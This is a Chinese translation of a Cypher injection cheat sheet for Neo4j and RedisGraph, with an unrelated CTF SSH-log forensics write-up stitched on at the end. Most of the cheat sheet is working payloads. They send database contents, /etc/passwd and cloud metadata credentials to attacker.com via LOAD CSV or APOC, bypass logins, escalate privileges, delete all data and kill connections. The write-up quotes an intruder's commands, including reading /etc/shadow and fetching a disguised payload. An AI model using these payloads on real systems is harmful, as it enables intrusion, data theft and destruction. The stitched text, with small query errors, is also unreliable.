[scode type="blue"]原文地址cypher-injection-cheatsheet,转载并翻译[/scode]发布于速查表栏目，2022年12月26日1. Cypher什么是Cypher？Cypher是(Open) Cypher Query Language的简称它是Neo4j的图查询语言，让您从图中检索数据。它类似于图数据库的SQL。它最初是为Neo4j设计的，但通过openCypher项目开放。现在它被许多其他数据库使用，包括RedisGraph、Spark、Amazon Neptune和SAP HANA Graph。Cypher查询语言参考，版本9图数据库图数据库与关系型数据库的比较 Relational databaseGraph databaseVendor examplesMySQL, Microsoft SQL ServerNeo4j, RedisGraph, Amazon NeptuneWhat it looks likeTables, rows, columns:Graphs, nodes, relationships: 有趣的事实：Neo4j被BloodHound使用。图数据库基础图数据库可以使用以下元素存储任何类型的数据：节点 - 图数据记录关系 - 节点之间的链接（具有方向和类型）属性 - 存储节点或关系中数据的键/值对标签：节点或关系的类型来源Cypher查询查询组件来源来源注释//: 行内注释/* */: 多行注释基本查询MATCH子句// 获取所有具有"Fruit"标签的节点 MATCH (a:Fruit) RETURN a // 相当于SQL中的SELECT ... FROM // 获取具有特定属性的所有"Fruit"节点 MATCH (a:Fruit {title: 'Green Apple'}) RETURN a MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a // 限制结果数量 MATCH (a:Fruit) RETURN a LIMIT 20 // 对结果排序 MATCH (a:Fruit) RETURN a ORDER BY titleCREATE子句// 创建单个节点 CREATE (n) // 创建多个节点 CREATE (n), (m) // 创建带标签的节点 CREATE (n:Person) // 创建带多个标签的节点 CREATE (n:Person:Swedish) // 创建节点并添加标签和属性 CREATE (n:Person {name: 'Andy', title: 'Developer'}) // 返回创建的节点 CREATE (a {name: 'Andy'}) RETURN a.name // 创建节点并设置属性 CREATE (n:Account) SET n.id=1, n.username="admin",n.password="password123" RETURN n获取数据库和节点信息检索标签检索图中的所有标签并删除重复项：MATCH (a) return DISTINCT labels(a)或CALL db.labels()或CALL db.labels() YIELD label或CALL db.labels() YIELD label AS x关于YIELDYIELD允许您选择返回哪些可用的结果字段（此处为label），并将它们存储在一个变量（x）中，该变量可以被查询的其余部分使用。使用变量并不是必需的。这种语法也是有效的（我不确定为什么）：CALL db.labels() YIELD label RETURN count(label) // 等同于 CALL db.labels() YIELD label AS x RETURN count(x)检索标签的属性MATCH (c) WHERE c.name = 'Spongebob' RETURN keys(c) // 删除重复项 MATCH (c:Character) RETURN DISTINCT keys(c)列出数据库SHOW databases转储数据库中的所有节点USE myDatabase // 选择要查询的数据库 MATCH (n) RETURN n列出当前用户SHOW CURRENT USER列出所有用户SHOW USERS列出可用的过程SHOW procedures // 或 CALL dbms.procedures()列出可用的函数CALL dbms.functions()列出用户角色// 切换到系统数据库，然后列出角色 USE system CALL dbms.security.listRoles()有用的函数collect()collect()收集所有值并在单个列表中返回它们（对数据窃取有用）：MATCH (c:Character) RETURN collect(c.name) // 返回: // ["Squidward", "Mr.Crabs", "Spongebob", "Sandy", "Patrick"]split()split()使用分隔符将字符串拆分为字符串列表：RETURN split('one,two', ',') // 返回: // ["one","two"]在一条语句中执行多个查询子句组合Cypher查询由多个链接在一起的子句组成，例如：MATCH (john:Person {name: 'John'}) MATCH (john)-[:FRIEND]->(friend) RETURN friend.name AS friendName根据Cypher规范：另一种理解子句的方式是将它们视为函数链：本质上，每个子句都是一个函数，它接受一个表作为输入，并返回一个表作为输出。因此，整个查询是这些"函数"的组合。这使得在后面利用Cypher注入时，可以在一条语句中链接多个子句。例如，如果我们可以注入到MATCH ... WHERE ... RETURN查询中，我们将能够添加CALL和LOAD CSV FROM子句：MATCH ... WHERE ... CALL ... YIELD ... LOAD CSV FROM ... RETURN ...（这里是完整示例）UNION子句Cypher的UNION子句将两个或多个查询的结果合并成一个结果集（包括属于联合中所有查询的所有记录）但所有查询必须具有相同的返回名称和相同数量的返回列如果组合的查询返回不同类型的数据（例如字符串和数字），这不是问题使用UNION合并查询并删除重复项，使用UNION ALL保留重复项MATCH (n:Person) RETURN n.name UNION MATCH (n:Book) RETURN n.title或// 使用相同的别名 MATCH (n:Person) RETURN n.name AS name UNION MATCH (b:Book) RETURN b.title AS name错误的语法：// 不允许 MATCH (p:Person) RETURN p.name UNION MATCH (b:Book) RETURN b.titleWITH子句WITH子句允许您链接（或管道）查询，即将一个查询的输出链接到另一个查询。例如，用ORDER BY子句跟进MATCH子句：MATCH (c) WITH c ORDER BY c.Character DESC LIMIT 3 RETURN collect(c.name) // 例如输出 // │["Mr.Crabs","Spongebob","Squidward"]│ 这对Cypher注入很有用，可以跳出初始查询。CALL {} 子查询CALL可用于调用过程（例如CALL db.labels()）或子查询，即查询内的其他查询。LOAD CSVLOAD CSV用于从本地或远程CSV文件导入数据：// 导入本地文件 LOAD CSV FROM 'file:///users.csv' AS line RETURN line // 导入远程文件 LOAD CSV FROM https://domain.com/data.csv AS line RETURN line请注意，它实际上不必是CSV文件，这使得SSRF成为可能：LOAD CSV FROM 'file:///etc/passwd' AS line RETURN line LOAD CSV FROM "https://attacker.com" AS line RETURN lineLOAD CSV支持HTTPS、HTTP、FTP和file:///。它会跟随重定向，但不会跟随改变协议的重定向（例如从HTTPS到HTTP）。APOC库Neo4j APOC库：代表Awesome Procedures on Cypher扩展Neo4j数据库的功能和Cypher语言提供更多功能，包括导入/加载和导出数据的过程默认不安装，但被认为是最常见的Neo4j库apoc.load.json()用于导入本地或远程JSON文件：// 本地文件 CALL apoc.load.json("file:///person.json") YIELD value RETURN value // 远程文件 CALL apoc.load.json("https://domain.com/data.json") YIELD value RETURN value列出可用的APOC过程：CALL apoc.help('apoc')条件语句这对于利用基于布尔和基于时间的Cypher注入非常有用。CASE表达式CASE结构用于创建条件语句，例如：MATCH (n:Movie) RETURN CASE n.title WHEN 'The Matrix Reloaded' THEN 1 WHEN 'The Matrix Revolutions' THEN 2 ELSE 3 END AS result LIMIT 5APOC的WHEN和CASE过程APOC还支持条件执行过程。更多内容Neo4j Cypher手册v5Neo4j Cypher速查表Neo4j的Cypher查询语言（开发者指南）Neo4j v5的APOC用户指南更多内容在文档部分2. Cypher注入什么是Cypher注入？根据Neo4j：Cypher注入是一种恶意格式化输入跳出其上下文的方式，通过改变查询本身，劫持查询并在数据库上执行意外操作。这是SQL注入的近亲，但影响我们的Cypher查询语言。类型我没有找到Cypher注入攻击的分类，但基于SQL注入的类型，它们也可以是：带内：用于注入恶意Cypher代码和查看结果的同一通道基于错误：使数据库产生错误消息以了解其结构并构建有效载荷推断型（盲注）：不返回错误，但可以分析响应以从应用程序的行为中推断信息基于布尔：使用条件并寻找行为差异来推断信息基于时间：使应用程序睡眠几秒钟，测量响应并推断数据带外（盲注）：将Cypher查询的数据和结果窃取到外部服务器注意：基于联合的注入（在我看来）不适用，因为没有SQL表的概念。Cypher确实有UNION子句，但它的工作方式不同。基于时间的注入默认不可用。它需要安装APOCCypher没有睡眠函数，但APOC有：apoc.util.sleep()示例：简单的带内注入易受攻击的查询// NodeJS应用中的Neo4j查询 executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")有效载荷Spongebob' or 1=1 RETURN c//最终查询executeQuery("MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c")执行的是：MATCH (c:Character) WHERE c.name = 'Spongebob' or 1=1 RETURN c//' RETURN c返回所有节点。示例：使用UNION的带内注入来源：The Cypher Injection Saga易受攻击的请求GET /show/id?id=42原始查询MATCH (a:Person) WHERE id(a) = 42 RETURN a其中id值（这里是42，通过id GET参数传递）是攻击者可控的。有效载荷142 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a最终查询MATCH (a:Person) WHERE id(a) = 42 RETURN 1 AS a UNION CALL db.labels() YIELD label AS a RETURN a注意，第一个查询返回数字，而第二个返回字符串，这在Cypher中不是问题。有效载荷242 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //最终查询MATCH (a:Person) WHERE id(a) = 42 RETURN 1 AS a UNION MATCH(b) RETURN DISTINCT labels(b) AS a //RETURN a示例：带外注入同一示例但不同的利用方法：易受攻击的请求GET /show/id?id=42原始查询MATCH (p:Person) WHERE id(p) = 42 RETURN p有效载荷42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r最终查询MATCH (p:Person) WHERE id(p) = 42 CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/' + label AS r RETURN p3. 测试方法(针对Neo4j)从哪里查找任何可能在数据库中处理的用户控制输入。注意以下内容：数字ID登录表单REST API端点构建有效载荷的技巧使用Neo4j浏览器或Neo4j桌面版使用Neo4j浏览器或Neo4j桌面版在您控制的数据库（例如cypher-playground）上确保您的有效载荷能按预期工作，并且语法正确。注入上下文根据注入上下文，您可能需要结束正在注入的字符串或查询，以跳出它。例如：' " '})它也可能更复杂且特定于目标，如本漏洞赏金报告所示：.*' | o ] AS filteredOrganisations"WITH x as Y"技巧如果要注入到CREATE子句中，请使用类似WITH 1337 AS y的方式跳出它：原始查询CREATE (n:Person) SET n.name="test" RETURN n有效载荷test" WITH 1337 AS y MATCH (n) DETACH DELETE n//最终查询MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n行内注释使用//注释掉请求的其余部分。它允许消除限制结果的子句。例如，LIMIT 0表示不显示输出，但可以绕过：原始查询MATCH (n) WHERE n.is_active = USER_INPUT RETURN n LIMIT 0有效载荷1 OR 1=1 RETURN n//最终查询MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0多行注释使用/*注释掉多行请求，例如：原始查询MATCH (u:User) WHERE u.name = ' + USER_INPUT + ' RETURN u LIMIT 5有效载荷' OR 1=1 RETURN u/*最终查询MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u/*' RETURN u LIMIT 5 /*Only return 5 results*/ // 等同于: MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u限制：当您注入/*时，多行注释将在查询中的第一个终止符（即*/）处停止。例如，这里无法消除LIMIT 0：// 原始查询 MATCH (u:User) WHERE u.name = ' + USER_INPUT + ' RETURN u /* second comment */ LIMIT 0 /* Do not display output */注入' OR 1=1 RETURN u /*后的最终查询：MATCH (u:User) WHERE u.name = '' OR 1=1 RETURN u /*' RETURN u /* second comment */ LIMIT 0 /* Do not display output */复制粘贴提醒一下，从其他地方复制粘贴有效载荷可能会添加不可见字符。 此外，Cypher查询通常会显示换行符以提高可读性。因此，如果有效载荷应该有效但不起作用，请确保没有任何破坏有效载荷的不需要的字符。检测方法基于错误的检测尝试使用以下载荷触发错误：' " ) // 在前面添加字符串，如 `zxlck.` \' 12/0 // 即 int/0 42-1 // 即 int-int randomstring 1 or 1=1 ' or 1=1 " or 1=1 ' or '1'='1 " or "1"="1 ...Neo4jError 示例: 来源：The Cypher Injection Saga盲注数学运算将参数中的数值更改为数学运算。例如，如果 /profile?id=42 与 /profile?id=41%2b2-1 (载荷为 41+2-1 但经过 URL 编码)返回相同响应，则表明存在代码注入。盲注基于布尔值寻找响应中的差异：' or 1=1 // ' or 1=0 // " or "1"="1 " or "1"="2 " or True // " or False // ...带外交互尝试向你的服务器发送带外 HTTP 请求：LOAD CSV FROM 'https://attacker.com' AS b return b//基于时间的如果启用了 APOC，可以使用：CALL apoc.util.sleep(10000)示例原始查询：MATCH (n:User) WHERE n.name='Jane' RETURN n载荷：Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //最终查询：MATCH (n:User) WHERE n.name='Jane' RETURN 1 UNION CALL apoc.util.sleep(10000) RETURN 1 //利用方法认证绕过与通过 SQLi 绕过认证类似。尝试以下载荷：1 OR 1=1例如：// 易受攻击的查询 MATCH (n) WHERE n.name = "admin" and n.password = {用户提供的输入} RETURN n LIMIT 0 // 最终查询 MATCH (n) WHERE n.name = "admin" and n.password = 1 OR 1=1 RETURN n LIMIT 0泄露数据库中的标签和属性为了构建有效的查询，我们需要知道数据库中存在哪些标签和属性。首先，尝试提取这些信息，如果它们没有在 HTTP 响应中返回，则将其泄露到我们的服务器。带内注入泄露标签：CALL db.labels()泄露标签的属性（这里是 Character）：MATCH (c:Character) RETURN DISTINCT keys(c)泄露属性的值（这里是 name）：MATCH (c:Character) RETURN c.name带外/盲注（使用 LOAD CSV）LOAD CSV 用于导入本地或远程文件。 由于它向外部服务（我们可以定义）发送 GET 请求，因此可以将数据从数据库泄露到我们控制的服务器（基本上是内部 SSRF）。泄露标签：CALL db.labels() YIELD label LOAD CSV FROM 'https://attacker.com/'+label AS b RETURN b//（每个标签都会发送一个 GET 请求）泄露标签的属性（这里是 Character）使用 APOC：MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+apoc.text.join(keys(c), '') AS b RETURN b//泄露标签的属性（这里是 Character）不使用 APOC：// 第一个属性 MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+keys(c)[0] AS b RETURN b// // 第二个属性 MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+keys(c)[1] AS b RETURN b//泄露属性的值（这里是 name）：MATCH (c:Character) LOAD CSV FROM 'https://attacker.com/'+c.name AS b RETURN b//在不知道标签和属性的情况下泄露数据即使无法泄露标签和属性，如果有一个告诉你返回变量名称的错误消息，仍然可以进行利用（真实示例）。例如：泄露所有节点易受攻击的查询：// NodeJS 应用中的 Neo4j 查询 executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")载荷：// 替换 'c' 为你拥有的返回变量名 ' or 1=1 RETURN c//最终查询：MATCH (c:Character) WHERE c.name = '' or 1=1 RETURN c//' RETURN c基于错误注入的 Date() 技巧如果可以看到错误消息，将要转储的数据放在 Date() 函数内。由于它将无法将其转换为日期，它会将接收到的参数（即您想要泄露的数据）作为错误输出：MATCH (a:Movie) RETURN a ORDER BY a.title,Date(keys(a))来源通过基于布尔值的注入进行数据泄露来自 Neo4j (Cypher graph query language) injection 的载荷：属性（列）数量MATCH (a) RETURN size(keys(a)) LIMIT 1属性长度MATCH (a) WHERE a.name = '' OR 4 = size('1234') RETURN a LIMIT 1OR 4 = size('1234') 使条件为真，所以查询会返回 1 条记录。将 4 = size('1234') 替换为 1 = size('1234') 不会返回记录。第一个属性的长度MATCH (a) RETURN size(keys(a)[0]) LIMIT 1If 条件MATCH (a:Movie) RETURN a ORDER BY CASE 'a' WHEN 'b' THEN a.title ELSE a.name END子字符串/字符MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN substring(keys(b)[0],0,1) AS test//'组合起来MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN CASE substring(keys(b)[0],0,1) WHEN "a" THEN 2 ELSE 3 END AS test//' MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN case substring(keys(b)[0],0,1) WHEN "n" THEN 2 ELSE 3 END AS test//' MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN CASE size(keys(b)[0]) WHEN 1 THEN 2 ELSE 3 END AS test//' MATCH (a) WHERE a.title = 'injected' RETURN 1 AS test UNION MATCH (b:Person) RETURN CASE size(keys(b)[0]) WHEN 4 THEN 2 ELSE 3 END AS test//'通过基于时间的注入进行数据泄露我需要进一步研究以创建载荷。想法是结合 if 条件（类似于基于布尔值的注入）和 CALL apoc.util.sleep(10000) 来推断值。SSRF除了从数据库泄露数据外，我们还可以使用 LOAD CSV 进行内部 SSRF。更准确地说，我们通过以下方式链接内部 SSRF 和外部 SSRF：向内部服务发送请求将输出存储在变量中向您的服务器发送第二个请求并将变量中的数据附加到 URL（作为路径）请注意，内部服务和图形数据库可以托管在不同的服务器上。泄露内部资源响应尝试加载内部网页或文件并将它们发送到您的服务器：LOAD CSV FROM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" AS x LOAD CSV FROM "https://attacker.com/"+x[0] AS y RETURN ''//尝试访问各种内部资源：敏感文件，例如 http://localhost:3030/internal-api/keys.txt云元数据端点（例如 AWS 元数据服务）任何内部端点，例如 https://192.168.1.1/admin，http://localhost:8080...请注意：即使 Neo4j 数据库和敏感文件托管在不同的服务器上，这也有效文件类型无关紧要（不必是 CSV）云中的横向移动如果可以查询云元数据服务，尝试获取凭据并将攻击升级到其他机器。但这仅在 IMDSv1 中有效。IMDSv2 要求通过 HTTP 请求头 X-aws-ec2-metadata-token 传递会话令牌，以允许查询 AWS 元数据服务。似乎没有办法在 LOAD CSV 发送的 GET 请求中包含此令牌。导出包含特殊字符的数据/响应如果被泄露的数据（这部分：x[0]）包含 URL 中不允许的字符（空格、单引号、双引号等），上述载荷将不起作用。 换句话说，LOAD CSV 不会自动对特殊字符进行 URL 编码。例如，在 Neo4j 浏览器中运行此查询会返回错误（因为 a b c 中的空格）：LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+'a b c' AS y RETURN y将 a b c 分割成列表并只外泄第一个元素（a）可以正常工作：LOAD CSV FROM 'https://challs2.free.beeceptor.com/'+split('a b c', ' ')[0] AS y RETURN y除了使用 split()，还有 3 种潜在解决方案：URL 编码数据，例如使用 apoc.text.urlencode()（没有找到不使用 APOC 的方法）使用 collect()（来自 Fun with Cypher Injections）：LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN '' LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[1] AS y LOAD CSV FROM 'http://attacker.com/'+y AS z RETURN '' 使用 UNWIND（来自 Fun with Cypher Injections）：LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''我尚未进一步研究这个问题。只是想提出在导出数据时可能出现的潜在问题。任意文件读取如果 Neo4j 数据库配置错误，将其"导入"目录设置为危险位置（如 /var/www/html 或 /），您可以使用 LOAD CSV 读取其子目录中的任意文件。泄露数据库"导入"目录的位置// 在 Neo4j Desktop 1.5.6 上测试 CALL dbms.listConfig() YIELD name, value WHERE name='server.directories.import' RETURN value在旧版本上，可能需要使用不同的名称，例如 Neo4j Desktop 1.3.11 中的 dbms.directories.import 而不是 server.directories.import。利用配置错误的数据库读取任意文件例如，如果导入目录设置为 /：// 加载 /etc/passwd 并发送到您的服务器 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM "http://attacker.com/"+x[0] AS y RETURN ''//最终查询：MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://attacker.com/'+x[0] AS y RETURN ''// RETURN n执行相同操作的另一个载荷：' RETURN n UNION LOAD CSV FROM "file:///etc/passwd" AS n RESTURN n //来源：Pentesting Cisco SD-WAN Part 1: Attacking vManage覆盖 CREATE 子句中的值来自 Fun with Cypher Injections 的权限提升示例原始查询创建一个普通（低权限）账户：CREATE (n:Account) SET n.id=1, n.username="admin",n.admin=False,n.password="{注入点}" RETURN n载荷",n.admin=True RETURN n//最终查询CREATE (n:Account) SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n //" RETURN n我们将 n.admin 值覆盖为 True，使创建的账户成为管理员。拒绝服务必须先阅读本节中所有攻击的影响是服务器端拒绝服务，即删除数据库中的所有条目或删除数据库。除非您有明确的书面许可测试拒绝服务，否则不要在真实目标上测试此类攻击。这里仅为学习目的提及，帮助在漏洞报告中描述 Cypher 注入的潜在影响。泄露并终止连接获取所有连接 IDCALL dbms.listConnections()使用 LOAD CSV 将它们泄露到您的服务器终止连接CALL dbms.killConnection("bolt-9276") // 对于单个连接 CALL dbms.killConnections(["bolt-9276", "bolt-9273"]) // 对于多个连接影响这会终止服务器和数据库之间的连接（这不是客户端攻击）。因此，使用自动化脚本，我们可以阻止合法用户的查询执行，导致 DoS。但这取决于您注入时的角色和权限。如果您的角色是管理员，您可以通过使用 LOAD CSV 的简单注入执行此 DoS 攻击。删除数据库列出所有数据库SHOW databases使用 LOAD CSV 将它们的名称泄露到您的服务器删除数据库DROP database spongebob删除节点易受攻击的查询：// NodeJS 应用中的 Neo4j 查询 executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")载荷：// 替换 'c' 为您拥有的返回变量名 ' DELETE c//最终查询：MATCH (c:Character) WHERE c.name = '' DELETE c//' RETURN c删除所有节点删除所有节点易受攻击的查询：// NodeJS 应用中的 Neo4j 查询 executeQuery("MATCH (c:Character) WHERE c.name = '" + name + "' RETURN c")载荷：' MATCH (all) DETACH DELETE all//必须使用 DETACH 删除关系，因为节点不能在不删除其关系的情况下被删除。最终查询：MATCH (c:Character) WHERE c.name = '' MATCH (all) DETACH DELETE all//' RETURN c删除所有具有标签的节点载荷：' MATCH (all:Character) DETACH DELETE all//WAF 绕过空白被过滤如果空白被过滤：MATCH (n) RETURN n用注释替换它们：MATCH/**/(n)/**/RETURN/**/n如果 /**/ 也被过滤，使用 /*随机字符串*/ 代替：MATCH/*socmb*/(n)/*yaoekd*/RETURN/*pxras*/nLOAD CSV 不起作用？尝试 APOC！MATCH (c:Character) CALL apoc.load.json("https://attacker.com/data.json?leaked="+c.name) YIELD value RETURN value//OOB 请求被阻止假设您有盲 Cypher 注入，想要泄露内部端点/文件的内容，但对您服务器的请求被阻止（例如被 WAF）。我没有尝试过，但 这篇文章 中有一个可能有效的想法：将您想要泄露的数据保存在数据库中，然后在应用程序中显示时读取它。LOAD CSV FROM 'https://domain/file.csv' AS line CREATE (:Artist {name: line[1], year: toInteger(line[2])})我不确定这是否是作者的意思，但如果其他方法都不起作用，值得一试。然而，请注意，这可能会快速扰乱数据库，因为对于使用 LOAD CSV 获取的页面中找到的每一行，都会执行一个 CREATE 子句。4. RedisGraph 中的 Cypher 注入RedisGraph 是 Redis 的扩展，支持编写 Cypher 查询支持 一些过程（例如 db.labels）支持子字符串没有 LOAD CSV 的等效项，但可以使用 CASE WHEN 进行 Cypher 注入（基于 if，使用 OR 1=2）例如，使用 db.labels 获取标签并检查第一个字母是否等于 'a'（使用 OR 1=2 在盲注中获取结果）The supports parameterized queries不支持 RBAC5. 影响注入 Cypher 查询可能产生各种影响，包括：能够泄露、删除和篡改存储在数据库中的数据能够泄露数据库结构的信息（标签、属性等）以帮助构建载荷并执行其他攻击SSRF 能够：将数据从数据库泄露到您的服务器使易受攻击的服务器向内部服务/服务器发送请求，枚举目录和文件，扫描开放端口等读取这些请求的响应并将它们泄露到您的服务器访问敏感的内部端点和文件查询云元数据服务，有潜在的云横向移动可能认证绕过拒绝服务，意味着通过以下方式阻止访问数据库：删除数据库删除数据库中的所有条目（节点和关系）终止（服务器端）数据库连接任意文件读取在配置错误的 Neo4j 数据库中（将其"导入"目录设置为危险位置）为什么 DoS 和 SSRF 基本上总是可能的?在 SQL 注入中，初始子句限制了您可以做的事情。例如，如果是 SELECT 语句，将无法注入使其修改数据的载荷。Cypher 没有这种限制。无论初始查询是什么，如果您可以注入其中，就可以添加新的子句（使用 WITH x as Y 技巧）来删除数据、执行 SSRF 等。6. 修复和缓解措施修复使用参数化查询// 不易受攻击（参数化查询） session.run("MATCH (c:Character) WHERE c.name = $name RETURN c", {name: name}) // 易受攻击（字符串与 Cyper 查询连接） session.run("MATCH (c:Character) WHERE c.name '" + name + "' + RETURN c)缓解措施使用 Neo4j 的 RBAC在 neo4j.conf 中禁用/黑名单 Apoc 过程（如 LOAD、IMPORT、EXPORT...）（自 4.3 版本起可用）如果不使用 APOC，请卸载它请注意，目前没有办法禁用 LOAD CSV（可以禁用函数但不能禁用子句），但 Neo4j 正在开发修复方案。更多信息Protecting against Cypher injection7. 资源文档OpenCypherCypher Query Language Reference, Version 9openCypher ResourcesLearn X in Y minutes Where X=cypher)Neo4jNeo4j's Cypher Query Language (Developer Guides)Neo4j Cypher Manual v5Neo4j Cypher Cheat SheetAPOC user guide for Neo4j v5Neo4j on Protecting against Cypher injectionMemgraphThe Complete Cypher Cheat SheetCypher ManualRedisGraphCypher coverageAmazon NeptuneopenCypher Syntax CheatsheetAccessing the Neptune Graph with openCypher文章和案例分析GitHub Security Lab audited DataHub: Here's what they foundThe most underrated injection of all time — CYPHER INJECTION. How I found and exploited it ? ($2,000)The Cypher Injection SagaPENTESTING CISCO SD-WAN PART 1: ATTACKING VMANAGENeo4j – "Enter the GraphDB"工具Cypher Injection Scanner 和 Burp Pro 扩展文章Neo4j (Cypher graph query language) injectionFun with Cypher InjectionsCypher Injection (Neo4j) Graph DatabasesNeo4jection: Secrets, Data, and Cloud Exploits视频Cypher Query Injection - the new "SQL Injection"实践Cypher PlaygroundCIWA - Cypher 注入 Web 应用（因为老旧且 Cypher Playground 基于它，所以没有使用）8. 实践Neo4j Desktop安装下载 Neo4j Desktop（需要创建一个免费账户）按照这个指南用激活密钥注册它，并开始使用演示项目按照这个指南启用 APOC（安装后需要重启 Neo4j Desktop）使用 APOC打开 Neo4j 浏览器（使用 load-movies.cypher 文件前面的"Open"按钮）列出可用的 APOC 过程：CALL apoc.help('apoc')例如，要了解 apoc.text.join()（上面用于泄露标签）的功能：MATCH (m:Movie) RETURN DISTINCT keys(m)MATCH (m:Movie) RETURN DISTINCT apoc.text.join(keys(m), ',')设置文件查找 LOAD CSV 的"import"目录打开 Neo4j Desktop。点击"Settings"并搜索 directories.import。例如：# 此设置限制所有 `LOAD CSV` 导入文件必须在 `import` 目录下。移除或注释掉此设置可以 # 允许从文件系统的任何位置加载文件；这会引入可能的安全问题。请参阅 # 手册的 `LOAD CSV` 部分了解详情。 server.directories.import=importcypher-playground安装git clone https://github.com/noypearl/cypher-playground.git cd cypher-playground docker-compose up访问Web 应用：http://localhost:3030/Swagger UI：http://localhost:8888Neo4j 浏览器：http://localhost:7474/数据库：spongebob用户名：neo4j密码：hello包含所使用 Cypher 查询的文件：routes/neo4j.jsroutes/redisgraph.js注入示例触发错误载荷：randomstringPoC：curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/randomstring' -H 'accept: application/json'返回所有内容载荷：1 or 1=1PoC：curl -X 'GET' 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' -H 'accept: application/json'泄露标签载荷：Spongebob' RETURN 1 as x UNION CALL db.labels() YIELD label AS x RETURN x//PoC：curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20CALL%20db.labels()%20YIELD%20label%20AS%20x%20RETURN%20x%2f%2f" -H 'accept: application/json'泄露 Character 标签的属性载荷：Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN DISTINCT keys(c) AS x //PoC：curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20DISTINCT%20keys(c)%20AS%20x%20%2f%2f" -H 'accept: application/json'泄露 name 属性的值载荷：Spongebob' RETURN 1 as x UNION MATCH (c:Character) RETURN c.name AS x //PoC：curl -X 'GET' "http://localhost:3030/api/neo4j/characters/name/Spongebob'%20RETURN%201%20as%20x%20UNION%20MATCH%20(c%3aCharacter)%20RETURN%20c.name%20AS%20x%20%2f%2f" -H 'accept: application/json'curl -X 'GET' \ 'http://localhost:3030/api/neo4j/places/id/1%20or%201=1' \ -H 'accept: application/json' 1 CALL db.labels() YIELD label LOAD CSV FROM 'https://cypher.free.beeceptor.com/'+label AS b RETURN b//
An unnusal sighting 分类Forensics难度Very Easy知识点ssh日志分析WriteupOperating Hours of Korp: 0900 - 1900两个文件. ├── bash_history.txt └── sshd.log第一个问题： What is the IP Address and Port of the SSH Server (IP:PORT)[2024-01-28 15:24:23] Connection from 100.72.1.95 port 47721 on 100.107.36.130 port 2221 rdomain ""ip：port => 100.107.36.130:2221第二个问题：What time is the first successful Login[2024-02-13 11:29:50] Connection from 100.81.51.199 port 63172 on 100.107.36.130 port 2221 rdomain "" [2024-02-13 11:29:50] Failed publickey for root from 100.81.51.199 port 63172 ssh2: ECDSA SHA256:NdSnAx2935O7s2KX4LyvIV0gCzzQW5eXYoiiIBosqNE [2024-02-13 11:29:50] Accepted password for root from 100.81.51.199 port 63172 ssh2时间为： 2024-02-13 11:29:50第三个问题： What is the time of the unusual Login[2024-02-19 04:00:14] Connection from 2.67.182.119 port 60071 on 100.107.36.130 port 2221 rdomain "" [2024-02-19 04:00:14] Failed publickey for root from 2.67.182.119 port 60071 ssh2: ECDSA SHA256:OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4 [2024-02-19 04:00:14] Accepted password for root from 2.67.182.119 port 60071 ssh2 [2024-02-19 04:00:14] Starting session: shell on pts/2 for root from 2.67.182.119 port 60071 id 0 [2024-02-19 04:38:17] syslogin_perform_logout: logout() returned an error [2024-02-19 04:38:17] Received disconnect from 2.67.182.119 port 60071:11: disconnected by user [2024-02-19 04:38:17] Disconnected from user root 2.67.182.119 port 60071操作时间为9:00-19:00只有这一处时间不正常不正常的登陆时间为 2024-02-19 04:00:14第四个问题：What is the Fingerprint of the attacker's public key如上，攻击者公钥为 OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4第五个问题：What is the first command the attacker executed after logging in攻击者登陆后执行的第一个命令：[2024-02-19 04:00:18] whoami [2024-02-19 04:00:20] uname -a [2024-02-19 04:00:40] cat /etc/passwd [2024-02-19 04:01:01] cat /etc/shadow [2024-02-19 04:01:15] ps faux [2024-02-19 04:02:27] wget https://gnu-packages.com/prebuilts/iproute2/latest.tar.gz -O /tmp/latest_iproute.tar.gz [2024-02-19 04:10:02] tar xvf latest.tar.gz [2024-02-19 04:12:02] shred -zu latest.tar.gz [2024-02-19 04:14:02] ./setup第一个命令是：whoami第五个问题：What is the final command the attacker executed before logging out最后一个命令 ./setupEndpoint 